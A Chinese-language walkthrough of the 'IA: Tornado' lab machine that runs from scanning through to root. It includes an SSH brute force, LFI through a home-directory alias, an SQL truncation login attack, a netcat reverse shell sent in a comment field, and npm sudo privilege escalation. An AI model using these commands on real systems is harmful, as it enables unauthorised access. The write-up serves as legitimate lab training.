介绍:
About Release
- Name: IA: Tornado
- Date release: 20 Dec 2020
- Author: InfoSec Articles
- Series: IA
信息收集
- arp-scan 10.9.23.0/24 找到目标靶机
sudo arp-scan 10.9.23.0/24
10.9.23.145 08:00:27:41:87:7b PCS Systemtechnik GmbH
10.9.23.145 08:00:27:41:87:7b PCS Systemtechnik GmbH (DUP: 2)
- nmap -sV -p- -A 10.9.23.145 开放了22端口和80端口 可以尝试爆破和在web端寻找漏洞
sudo nmap -sV -p- -A 10.9.23.145
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-20 15:05 CST
Nmap scan report for bogon (10.9.23.145)
Host is up (0.00053s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 0f570d60314afd2bdb3e9e2f632e35df (RSA)
| 256 009ac8d3ba1b47b248a888249ffe33cc (ECDSA)
|_ 256 6dafdb2125eeb0a67d05f306f065ffdc (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:41:87:7B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- 密码爆破 因为有22端口 尝试爆破
- hydra爆破 root密码为idkrootpassword
hydra ssh://10.9.23.141 -l root -P /home/kali/tools/wordlists/top_password.txt -V
[22][ssh] host: 10.9.23.141 login: root password: idkrootpassword
- ssh登录尝试 登陆成功
ssh root@10.9.23.141 130 ⨯ 5 ⚙
root@10.9.23.141's password:
Linux tornado 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Feb 26 14:57:00 2024 from 10.9.23.234
root@tornado:~#
- dirb
sudo dirb http://10.9.23.145
发现扫描不出有用的信息 换一种扫描
5. gobuster
gobuster dir -u http://10.9.23.145 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.sh
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.9.23.145
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: php,html,txt,sh
[+] Timeout: 10s
===============================================================
2024/01/20 15:11:06 Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 276]
/index.html (Status: 200) [Size: 10701]
/.php (Status: 403) [Size: 276]
/manual (Status: 301) [Size: 311] [--> http://10.9.23.145/manual/]
/javascript (Status: 301) [Size: 315] [--> http://10.9.23.145/javascript/]
/.php (Status: 403) [Size: 276]
/.html (Status: 403) [Size: 276]
/bluesky (Status: 301) [Size: 312] [--> http://10.9.23.145/bluesky/]
/server-status (Status: 403) [Size: 276]
扫描到目录bluesky 查看一下网页 --> http://10.9.23.145/bluesky/
访问后没有发现有信息 源代码等都看过没有 接着扫描一下新目录
6. gobuster
gobuster dir -u http://10.9.23.145/bluesky/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.sh
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.9.23.145/bluesky/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: php,html,txt,sh
[+] Timeout: 10s
===============================================================
2024/01/20 15:25:20 Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 276]
/.html (Status: 403) [Size: 276]
/contact.php (Status: 302) [Size: 2034] [--> login.php]
/about.php (Status: 302) [Size: 2024] [--> login.php]
/login.php (Status: 200) [Size: 824]
/index.html (Status: 200) [Size: 14979]
/signup.php (Status: 200) [Size: 825]
/css (Status: 301) [Size: 316] [--> http://10.9.23.145/bluesky/css/]
/imgs (Status: 301) [Size: 317] [--> http://10.9.23.145/bluesky/imgs/]
/js (Status: 301) [Size: 315] [--> http://10.9.23.145/bluesky/js/]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/dashboard.php (Status: 302) [Size: 2024] [--> login.php]
/port.php (Status: 302) [Size: 2098] [--> login.php]
扫描出了/contact.php、/signup.php、/port.php目录 查看一下
是个登录界面 继续寻找别的 看有没有密码等
进入/signup.php进入页面 这是一个注册页面 先注册一个登录看看
尝试进入后台获得shell
-
在注册页面注册身份登录 http://10.9.23.145/bluesky/signup.php
-
在网页源代码发现了name=12 可能是最多只能输入12个字符的用户名 不知道有什么用 先保存
-
在登录页面用刚才的账号密码登录看 http://10.9.23.145/bluesky/login.php
账号:wwtt@163.com
密码:123
-
登录到页面
-
查看源代码发现第三个模块中的源代码有注释 给了一个目录 /home/tornado/imp.txt
并且他告诉我们LFI是已经被修复 不要忘记尝试 那么就能可能还存在 这里的LFI就是文件包含漏洞
发现目录后这里因为给的是一个家目录的内容 直接访问不能访问 因为是家目录 在linux中 家目录会用~代替 ~是home的别名 这里用了个别名的文件包含漏洞 尝试用~代替/home/尝试是否可以访问 【 http://10.9.23.145/~tornado/ 】
> port页面说LFI已经修复了,说明常见的利用姿势都不顶用了
>
> 而源码又提示了个`<!-- /home/tornado/imp.txt -->`
>
> 说明可以读取这个文件的内容,直接读取肯定不奏效的
>
> 这边利用`~`代替家目录,可以进行读取
- 访问页面查看内容 发现了他提示的内容 里面有txt文件
- 文件中有几个用户名 收集起来
ceo@tornado
cto@tornado
manager@tornado
hr@tornado
lfi@tornado
admin@tornado
jacob@tornado
it@tornado
sales@tornado
- 因为有了用户名但是没有密码 所以尝试爆破 但是在手动尝试时发现用户名不能输入完全 查看源代码中限制了登录的长度 为13 那么用户名中有正好13字符的 可能只有这些才是正确的 所以尝试爆破这三个用户名
admin@tornado
jacob@tornado
sales@tornado
密码爆破
-
打开bp爆破 创建用户名字典 然后使用集束炸弹模式
-
抓取到登陆时的数据 选中用户名密码
-
创建一个用户名字典 在字典中添加三个用户名
-
进程2选择runtime file 选择rockyou字典
-
开始爆破
-
爆破发现admin用户有很多密码 尝试登录发现每一个密码都可以登录
-
但是剩下两个用户都没有密码 尝试注册一下sales@tornado用户
-
注册成功了 登录查看和普通用户都一样 但是注册成功证明一个用户名可能会有很多密码 可以登录
SQL Truncation Attack(SQL 截断攻击)
由于用户名位置作了限制联想到后台数据库同样做了限制再加上admin@tornado用户的多个密码联想到后台肯定有多个admin@tornado用户,两个条件加在一起可以猜测到就是SQL截断攻击后产生的多个admin@tornado用户
简介:
当数据库由于长度限制而截断用户输入时,就会发生 SQL 截断漏洞。攻击者可以收集关键字段(例如用户名)长度的信息,并利用这些信息获得未经授权的访问。
让我们来测试一下,注册一个帐号先修改输入限制,填入用户名是jacob@tornado空格a,
- 尝试注册 用户的账号 但是显示账号已经存在了
- 查看登陆界面的源代码 发现了和注册界面一样的显示一个用户名的长度
- 这里的type字段经过尝试是可以更改的 我们更改到20 然后注册一个jacob@tornado a 这样的用户名在这注册的时候可以注册并且登录时网页只会识别13位 也就是和jacob@tornado一样的用户名
可以注册成功
- 登录查看区别 登录的密码就是我们刚才注册的加了一个a的用户的密码 但是用户在登录的时候只会识别13位
- 登陆成功 刚才在别的用户中 评论注释功能都关着 这个用户是可以评论的
- 尝试评论看是否可以有返回值 评论id会返回id 但是没有回显id的内容 说明可以写入内容但是不能执行
反弹shell
- 尝试写入一个反弹shell 看能否执行【nc -e /bin/bash 10.9.23.234 8888】瑞士军刀nc在网页提交反弹命令
- kali中开启nc监听8888端口
- 点击提交评论后就可以弹进去
- 开启一个新的shell会话【python -c ‘import pty;pty.spawn(“/bin/bash”)’】
- 尝试sudo -l提权 提示可以用npm执行bin/bash命令 使用catchme用户的权限
- npm是Node.js的包管理器,它是一个命令行工具,用于下载、安装和管理JavaScript包和依赖项。它是Node.js平台的默认包管理器,与Node.js一起安装。
通过npm,你可以执行各种操作,包括:
-
安装包: 通过
npm install
命令安装指定的npm包或模块到你的项目中。 -
管理依赖项: npm允许你在
package.json
文件中列出项目的依赖项,并且可以通过npm install
安装这些依赖项。 -
发布包: 如果你编写了一个模块或库,并希望其他人能够使用它,你可以通过
npm publish
命令将其发布到npm注册表上。 -
更新包: 使用
npm update
命令可以更新你项目的依赖项到它们的最新版本。 -
查找包: 你可以通过
npm search
命令在npm注册表中搜索包。 -
执行脚本: 通过在
package.json
文件中定义scripts
字段,你可以使用npm run
命令执行预定义的脚本任务。
-
查看下nmp的使用方法 npm使用方法
-
使用sudo方式命令
- cd /tmp
- TF=$(mktemp -d) 创建一个临时目录
- echo ‘{“scripts”: {“preinstall”: “/bin/sh”}}’ > $TF/package.json
- 这行命令会将一个包含了
preinstall
脚本的package.json
文件写入到指定的临时目录中。这个脚本会在npm安装包之前被执行。在这个例子中,preinstall
脚本指定了/bin/sh
,这会启动一个shell。
- 这行命令会将一个包含了
- ls
- chmod 777 tmp.WD2zg0gFqe 给生成的文件权限
- sudo -u catchme npm -C $TF --unsafe-perm i 利用这个用户执行npm
-
成功提权到普通用户 catchme
-
尝试查看家目录内容 cd /home/catchme ls
-
发现有user.txt 还有enc.py两个文件 依次查看 发现了一个用户名一个
-
先记录用户名 查看py文件 问了gpt说是凯撒加密的密文 找网页解密一下 给顶的加密的消息是hcjqnnsotrrwnqc
-
网站给到的密码中只有一个看起来像密码 (我是真没看出来 这个是看教程的)
ID:0 : hcjqnnsotrrwnqc
ID:1 : gbipmmrnsqqvmpb
ID:2 : fahollqmrppuloa
ID:3 : ezgnkkplqootknz
ID:4 : dyfmjjokpnnsjmy
ID:5 : cxeliinjommrilx
ID:6 : bwdkhhminllqhkw
ID:7 : avcjgglhmkkpgjv
ID:8 : zubiffkgljjofiu
ID:9 : ytaheejfkiineht
ID:10 : xszgddiejhhmdgs
ID:11 : wryfcchdigglcfr
ID:12 : vqxebbgchffkbeq
ID:13 : upwdaafbgeejadp
ID:14 : tovczzeafddizco
ID:15 : snubyydzecchybn
ID:16 : rmtaxxcydbbgxam
ID:17 : qlszwwbxcaafwzl
ID:18 : pkryvvawbzzevyk
ID:19 : ojqxuuzvayyduxj
ID:20 : nipwttyuzxxctwi
ID:21 : mhovssxtywwbsvh
ID:22 : lgnurrwsxvvarug
ID:23 : kfmtqqvrwuuzqtf
ID:24 : jelsppuqvttypse
ID:25 : idkrootpussxord
ID:26 : hcjqnnsotrrwnqc
ID:27 : gbipmmrnsqqvmpb
ID:28 : fahollqmrppuloa
ID:29 : ezgnkkplqootknz
ID:30 : dyfmjjokpnnsjmy
ID:31 : cxeliinjommrilx
ID:32 : bwdkhhminllqhkw
ID:33 : avcjgglhmkkpgjv
ID:34 : zubiffkgljjofiu
ID:35 : ytaheejfkiineht
ID:36 : xszgddiejhhmdgs
ID:37 : wryfcchdigglcfr
ID:38 : vqxebbgchffkbeq
ID:39 : upwdaafbgeejadp
- 只有第25个 idkrootpussxord像密码 尝试后 刚才的用户以及root的密码都不是 稍作修改为
- idkrootpassword
- 切换成功root